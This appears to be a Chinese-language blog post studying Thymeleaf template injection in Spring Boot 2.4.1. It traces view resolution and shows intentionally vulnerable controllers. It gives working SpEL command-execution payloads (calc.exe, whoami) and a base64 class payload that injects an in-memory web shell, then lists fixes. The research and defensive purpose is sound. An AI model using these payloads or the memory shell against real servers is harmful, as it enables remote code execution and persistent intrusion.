最近实在是不知道看什么了,来学一下和java相关的一些ssti吧,先从thymeleaf开始

介绍

Thymeleaf就是一个模板渲染引擎,和python的jinjia2一样,就不需要过多介绍了

官方文档:https://www.thymeleaf.org/documentation.html

高版本SpringBoot/Thymeleaf不存在模板注入问题,这里SpringBoot版本为2.5.10(实测得2.4.1,2.5.10已经不行了),Thymeleaf同上

Demo示例

首先就是创建一个springboot项目,我们的thymeleaf文件就写在templates目录下

image-20241213110130755

创建项目的时候可以勾选thymeleaf模板引擎

image-20241213110353299

一个基础的index.html

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org">
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
hello 第一个Thymeleaf程序
<div th:text="${name}"></div>
</body>
</html>

controller

package org.clown.springbootmemoryshell.contorller.thymeleaf;


import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;

@Controller
public class DemoController {
@GetMapping("/demo")
// @ResponseBody
public String demo(Model model){
model.addAttribute("name","clown");
return "index";
}
}

这里需要用@Controller注解才行,因为该注解主要作用是返回视图名称,这些视图名称会被Spring的视图解析器(View Resolver)解析,从而找到对应的模板文件(如Thymeleaf模板),并将模型数据渲染到模板中,最终生成响应给客户端的视图。

@RestController注解是@Controller@ResponseBody的组合,它通常用于创建RESTful Web服务。@RestController注解的控制器方法的返回值会自动作为HTTP响应的正文返回,这意味着返回值不会被视图解析器处理,而是直接写入HTTP响应体中。

一些语法

thymeleaf的html文件首先要包含这个

<html  xmlns:th="http://www.thymeleaf.org" >

标签

标签 作用 示例
th:id 替换id <input th:id="${user.id}"/>
th:text 文本替换 <p text:="${user.name}">bigsai</p>
th:utext 支持html的文本替换 <p utext:="${htmlcontent}">content</p>
th:object 替换对象 <div th:object="${user}"></div>
th:value 替换值 <input th:value="${user.name}" >
th:each 迭代 <tr th:each="student:${user}" >
th:href 替换超链接 <a th:href="@{index.html}">超链接</a>
th:src 替换资源 <script type="text/javascript" th:src="@{index.js}"></script>

链接表达式

使用@{资源地址}引入资源,引入的地址可以在static目录,也可以是互联网的资源,格式如上面的标签示例

变量表达式

这部分也是页面能动态渲染的核心,可以用${...}的形式在model中取值,前面的demo中也可以看到我们往model中添加了属性的键值对

取JavaBean对象使用${对象名.对象属性}或者${对象名['对象属性']}来取值。如果JavaBean写了get方法也可以通过${对象.get方法名}取值。

取Map对象使用${Map名['key']}${Map名.key}

取List集合:List集合是一个有序列表,需要使用each遍历赋值,<tr th:each="item:${userlist}">

选择变量表达式

该表达式的写法为*{…},写个例子就明白了

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org" >
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
<div th:object="${user}">
<p>Name: <span th:text="*{name}"></span>.</p>
<p>Age: <span th:text="*{age}">18</span>.</p>
<p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>
</body>
</html>
@GetMapping("/user")
public String user(Model model){
User user = new User("clown", 18, "hello");
model.addAttribute("user",user);
return "user";
}

image-20241213143906940

消息表达式

文本外部化是从模板文件中提取模板代码的片段,以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}语法就是用来读取配置文件中数据的。

这里也写个例子更好体会,首先在templates目录下建立clown.properties中写入以下内容:

demo.nane=clown
demo.age=22
province=UnKnown

然后在application.properties加入下面内容:

spring.messages.basename=templates/demo

html内容如下

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org" >
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
<div>
<p>Name: <span th:text="#{demo.age}"></span>.</p>
<p>Age: <span th:text="#{demo.nane}">1</span>.</p>
<p>Province: <span th:text="#{province}"></span>.</p>
</div>
</body>
</html>

效果如下:

image-20241213145707765

片段表达式

片段表达式~{...}可以用于引用公共的目标片段,比如可以在一个template/public.html中定义下面的片段,并在另一个template中引用。

公共片段:

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org" >
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
</body>
</html>

引用公共片段:

<!DOCTYPE html>
<html xmlns:th="http://www.thymeleaf.org" >
<head>
<meta charset="UTF-8">
<title>title</title>
</head>
<body>
<div th:insert="~{public :: copy}"></div>
</body>
</html>

image-20241213175923703

SpringMVC视图解析过程

视图解析的过程是发生在Controller处理后,Controller处理结束后会将返回的结果封装为ModelAndView对象,再通过视图解析器ViewResovler得到对应的视图并返回。

给一张SpringMVC的执行流程图

image-20240727011007456

我们可以用前面的demo跟进调试一下,看一下视图是如何解析的

封装ModelAndView对象

先走到ServletInvocableHandlerMethod#invokeAndHandle中,其源码如下:

public void invokeAndHandle(ServletWebRequest webRequest, ModelAndViewContainer mavContainer,
Object... providedArgs) throws Exception {

Object returnValue = invokeForRequest(webRequest, mavContainer, providedArgs);
setResponseStatus(webRequest);

if (returnValue == null) {
if (isRequestNotModified(webRequest) || getResponseStatus() != null || mavContainer.isRequestHandled()) {
disableContentCachingIfNecessary(webRequest);
mavContainer.setRequestHandled(true);
return;
}
}
else if (StringUtils.hasText(getResponseStatusReason())) {
mavContainer.setRequestHandled(true);
return;
}

mavContainer.setRequestHandled(false);
Assert.state(this.returnValueHandlers != null, "No return value handlers");
try {
this.returnValueHandlers.handleReturnValue(
returnValue, getReturnValueType(returnValue), mavContainer, webRequest);
}
catch (Exception ex) {
if (logger.isTraceEnabled()) {
logger.trace(formatErrorForReturnValue(returnValue), ex);
}
throw ex;
}
}

相关的变量值

image-20241213214443799

该函数内部进行了如下操作:

  • invokeForRequest调用Controller后获取返回值到returnValue
  • 判断returnValue是否为空,如果是则继续判断RequestHandled是否为True,都满足的话设置requestHandledtrue
  • 通过handleReturnValue根据返回值的类型和返回值将不同的属性设置到ModelAndViewContainer中。

这里往下走returnValue返回的是index

image-20241213214722184

然后再看handleReturnValue方法,这个方法应该就是对模板进行解析,继续跟进去看看

image-20241213221758950

获取一个ViewNameMethodReturnValueHandler然后继续处理,继续跟进

image-20241213222152893

  • 判断returnValue类型是否为字符型,设置mavContainer.viewName
  • 判断returnValue是否以redirect:开头,如果是的话则设置重定向的属性

然后返回到RequestMappingHandlerAdapter#invokeHandlerMethod方法里面

image-20241213222951397

通过getModelAndView方法返回ModelAndView

获取ModelAndView视图

获取ModelAndView后,通过DispatcherServlet#render获取视图解析器并渲染,中间的过程就不再分析了,就是枯燥的跟着走而已

不过到这里流程也很符合前面流程图所总结的那样

image-20241213223643677

resolveViewName是遍历视图解析器然后返回一个,其中里面有五个视图解析器

image-20241213224250552

这里返回的View是ThymeleafView

image-20241213224019290

视图渲染

最后就是调用ThymeleafView的render函数进行视图渲染

image-20241213224451300

后面的具体渲染分析漏洞的时候再调试

漏洞原理

templatename漏洞

给出一个漏洞代码的demo

package org.clown.springbootmemoryshell.contorller.thymeleaf;


import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class VulnController {
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
}

这种情况是直接将参数拼接到了模板路径中

poc

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

这里即使不加.x依然可以触发命令执行

一开始我用的thymeleaf2.5.10版本打这个payload给我报了下面的错误

View name contains an expression and so does either the URL path or one of the request parameters. This is forbidden in order to reduce the possibilities that direct user input is executed as a part of the view name.

这个错误信息表明在处理 Thymeleaf 模板时,视图名称包含了一个表达式,并且 URL 路径或请求参数中也包含了一个表达式。这种情况下,Thymeleaf 为了防止用户输入直接被执行为视图名称的一部分,禁止了这种情况。

那说明后面版本的修复是采用了禁止表达式的方式,然后看了一下具体的报错版本

image-20241213230550190

是thymeleaf-spring5-3.0.15.RELEASE.jar这个版本的jar包修复了,需要将spring-boot-starter-parent的版本降一下,降成2.4.1就行了,然后这时候thymeleaf-spring的版本是3.0.11的版本

image-20241213230754543

流程分析

关键在前面我们没分析的renderFragment函数的渲染过程里面

image-20241213231629083

首先如上图,我们得viewTemplateName经过拼接之后的值现在是

user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}__::/welcome

然后他会判断里面是否有::字符串,这代表其是一个片段表达式

然后继续往下

image-20241213231941833

会获取一个表达式解析器,然后解析表达式,且将我们的viewTemplateName用~{和}包裹起来

然后触发的过程就在parseExpression方法里面,一直往后走会走到StandardExpressionPreprocessor#preprocess方法内

image-20241213233227916

这里有一个正则提取内容的匹配器

image-20241213233851249

其正则匹配格式如下:

\_\_(.*?)\_\_

代表其匹配__…__之间的内容,也就是可以将我们里面的表达式内容分割出来了,继续往下看

image-20241213234249011

最终是将我们的表达式分割出来,获得了一个VariableExpression,然后执行其execute函数执行表达式

然后层层调用最终通过SPEL来执行表达式内容

image-20241213234528330

所以该漏洞实际上就是SPEL表达式执行

所以根据前面的分析我们可以知道可以不需要.x,但是下面的漏洞形式一定需要.x

URI PATH

漏洞代码

@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}

这里漏洞原理总结起来就是因为ModelAndView返回值为空,所以viewTemplateName会从uri中获取,直接在{document}位置传入payload即可

poc

http://localhost:8081/doc/lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x

image-20241213235751753

流程分析

来具体看一下为什么没有返回也会赋值的原因,原因主要在DispatcherServlet#doDispatch中,获取ModleAndView后还会执行applyDefaultViewName方法。

image-20241214000125870

可以看到此时的mv里面都为空,然后会执行一个applyDefaultViewName方法

image-20241214000313196

里面会从request对象里面获取一个默认的ViewName,获取到的defaultViewName就是我们的路径

doc/lang=__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("calc.exe").getInputStream()).next()}__::

然后就把viewname设置为了我们默认的这个ViewName

欸然后这里发现,get回来的ViewName已经把我们的.x去掉了,这是怎么回事呢,进去具体看看都发生了什么

具体是里面的一个transformPath函数,对路由进行了格式转化

image-20241214001608987

首先前面两部分是去掉了前后的/,然后调用StringUtils.stripFilenameExtension方法

image-20241214001912868

里面分别获取了最后一个.的索引和最后一个/的索引,然后截取到最后一个.索引的内容

到这里就明白我们最后为什么要加一个.x了吧,因为需要保证我们前面的payload是完整的,所以得在最后加一个.,其实经过分析在最后加个.就可以了,不用.x

后面的流程就和前面一样了,就不分析了

注意这个只适合无返回值的时候,不然view就会被返回值给占了

回显问题

看文章他们的回显内容显示在了前端的报错信息内部,像这样

image-20241214003633723

而我的没有,他在后台的控制台的报错内容倒是有没绷住

image-20241214003725080

然后有回显的poc需要::后面是有内容的,大致原因主要是在StandardExpressionParser#parseExpression,在preprocess预处理结束后还会通过Expression.parse进行一次解析,这里如果解析失败则不会回显,这里就不分析了

poc在::后面随便加点内容就可以了

http://localhost:8081/doc/=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::aa.

至于我前段为什么没回显我就不想纠结了,不如直接打内存马来的方便,有关spel表达式注入的学习放下一篇文章了。

注入内存马

这里直接copy文章的一个内存马payload

http://localhost:8081/doc/__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("yv66vgAAADQAoQoACQBRCABSCgBTAFQIAFUKAFMAVgoACQBXCAAzBwBYBwBZBwBaCgAIAFsKAAoAXAcAXQgANQcAXgoACABfBwBgCABhCgARAGIHAGMHAGQKABQAZQcAZgoAFwBnCgANAFEKAAoAaAgAaQcAagoAHABrCABsCQBtAG4KAG8AcAcAcQoAcgBzCgAhAHQIAHUKACEAdgoAIQB3BwB4CQB5AHoKACcAewEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAD3JlZ2lzdGVyTWFwcGluZwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBABhwYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAEhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjsBABdtZXRob2RzUmVxdWVzdENvbmRpdGlvbgEATkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBABxyZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nAQASTGphdmEvbGFuZy9PYmplY3Q7AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAWQcAXgcAagEAEE1ldGhvZFBhcmFtZXRlcnMBAD0oTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHk7AQADY21kAQAKZXhlY1Jlc3VsdAEACkV4Y2VwdGlvbnMHAHwBACJSdW50aW1lVmlzaWJsZVBhcmFtZXRlckFubm90YXRpb25zAQA2TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0UGFyYW07AQAFdmFsdWUBAApTb3VyY2VGaWxlAQAhU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbC5qYXZhDAAqACsBAAxpbmplY3Qtc3RhcnQHAH0MAH4AfwEACGNhbGMuZXhlDACAAIEMAIIAgwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QMAIQAhQwAhgCHAQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcMAIgAhQEARm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BAAIvKgwAKgCJAQBMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1JlcXVlc3RNZXRob2RzUmVxdWVzdENvbmRpdGlvbgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kDAAqAIoBAD1vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvUmVxdWVzdE1hcHBpbmdJbmZvDAAqAIsMAIwAjQEADmluamVjdC1zdWNjZXNzAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAjgArAQAMaW5qZWN0LWVycm9yBwCPDACQAJEHAJIMAJMAlAEAEWphdmEvdXRpbC9TY2FubmVyBwCVDACWAJcMACoAmAEAAlxBDACZAJoMAJsAnAEAJ29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9SZXNwb25zZUVudGl0eQcAnQwAngCfDAAqAKABABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEWdldERlY2xhcmVkTWV0aG9kAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEAOyhbTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2JpbmQvYW5ub3RhdGlvbi9SZXF1ZXN0TWV0aG9kOylWAQH2KExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdE1ldGhvZHNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL0hlYWRlcnNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vQ29uc3VtZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vUmVxdWVzdENvbmRpdGlvbjspVgEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD3ByaW50U3RhY2tUcmFjZQEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9PYmplY3Q7KVYBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsBACNvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1cwEAAk9LAQAlTG9yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzOwEAOihMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7KVYAIQANAAkAAAAAAAMAAQAqACsAAQAsAAAALwABAAEAAAAFKrcAAbEAAAACAC0AAAAGAAEAAAAMAC4AAAAMAAEAAAAFAC8AMAAAAAkAMQAyAAIALAAAAXEACQAHAAAApBICTLgAAxIEtgAFVyq2AAYSBwa9AAhZAxIJU1kEEglTWQUSClO2AAtNLAS2AAwSDRIOBL0ACFkDEg9TtgAQTrsAEVkEvQAPWQMSElO3ABM6BLsAFFkDvQAVtwAWOgW7ABdZGQQZBQEBAQEBtwAYOgYsKga9AAlZAxkGU1kEuwANWbcAGVNZBS1TtgAaVxIbTKcAEk0stgAdEh5MsgAfLLYAICuwAAEAAwCQAJMAHAADAC0AAABCABAAAAAOAAMAEAAMABEAKQASAC4AEwA_ABQAUQAVAF4AFgBwABcAjQAYAJAAHQCTABkAlAAaAJgAGwCbABwAogAeAC4AAABSAAgAKQBnADMANAACAD8AUQA1ADQAAwBRAD8ANgA3AAQAXgAyADgAOQAFAHAAIAA6ADsABgCUAA4APAA9AAIAAACkAD4APwAAAAMAoQBAAEEAAQBCAAAAEwAC_wCTAAIHAEMHAEQAAQcARQ4ARgAAAAUBAD4AAAABADUARwAEACwAAABoAAQAAwAAACa7ACFZuAADK7YABbYAIrcAIxIktgAltgAmTbsAJ1kssgAotwApsAAAAAIALQAAAAoAAgAAACMAGgAkAC4AAAAgAAMAAAAmAC8AMAAAAAAAJgBIAEEAAQAaAAwASQBBAAIASgAAAAQAAQBLAEYAAAAFAQBIAAAATAAAAAwBAAEATQABAE5zAEgAAQBPAAAAAgBQ"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x

然后访问 /asd?cmd=whoami

其他姿势

${…}改成*{…}也是可以的

省略__

当Controller如下配置时,可以省略__包裹,因为我们不需要特意去分割字符串了

@RequestMapping("/path")
public String path2(@RequestParam String lang) {
return lang; //template path is tainted
}

修复

  1. 配置 @ResponseBody 或者 @RestController,这两个注解一开始也提到过,他们会将返回值会自动作为HTTP响应的正文返回,这意味着返回值不会被视图解析器处理,而是直接写入HTTP响应体中。

  2. 在返回值前面加上 “redirect:”

    这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。

    @GetMapping("/safe/redirect")
    public String redirect(@RequestParam String url) {
    return "redirect:" + url; //FP as redirects are not resolved as expressions
    }
  3. 在方法参数中加上 HttpServletResponse 参数

    由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP Response,因此不会发生视图名称解析。

    @GetMapping("/safe/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
    log.info("Retrieving " + document);
    }

不过这些修复都比较临时,还是升级到新版本比较好

就先看这么多吧,新版本还有点东西有点懒了不想写了,之后遇到再学,毕竟实战感觉这种ssti并不会很多🥲

参考

https://xz.aliyun.com/t/10514?time__1311=CqjxRD0iiteiqGNeeeuDQwqxfOj6eHDBWoD

https://www.anquanke.com/post/id/254519

https://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.html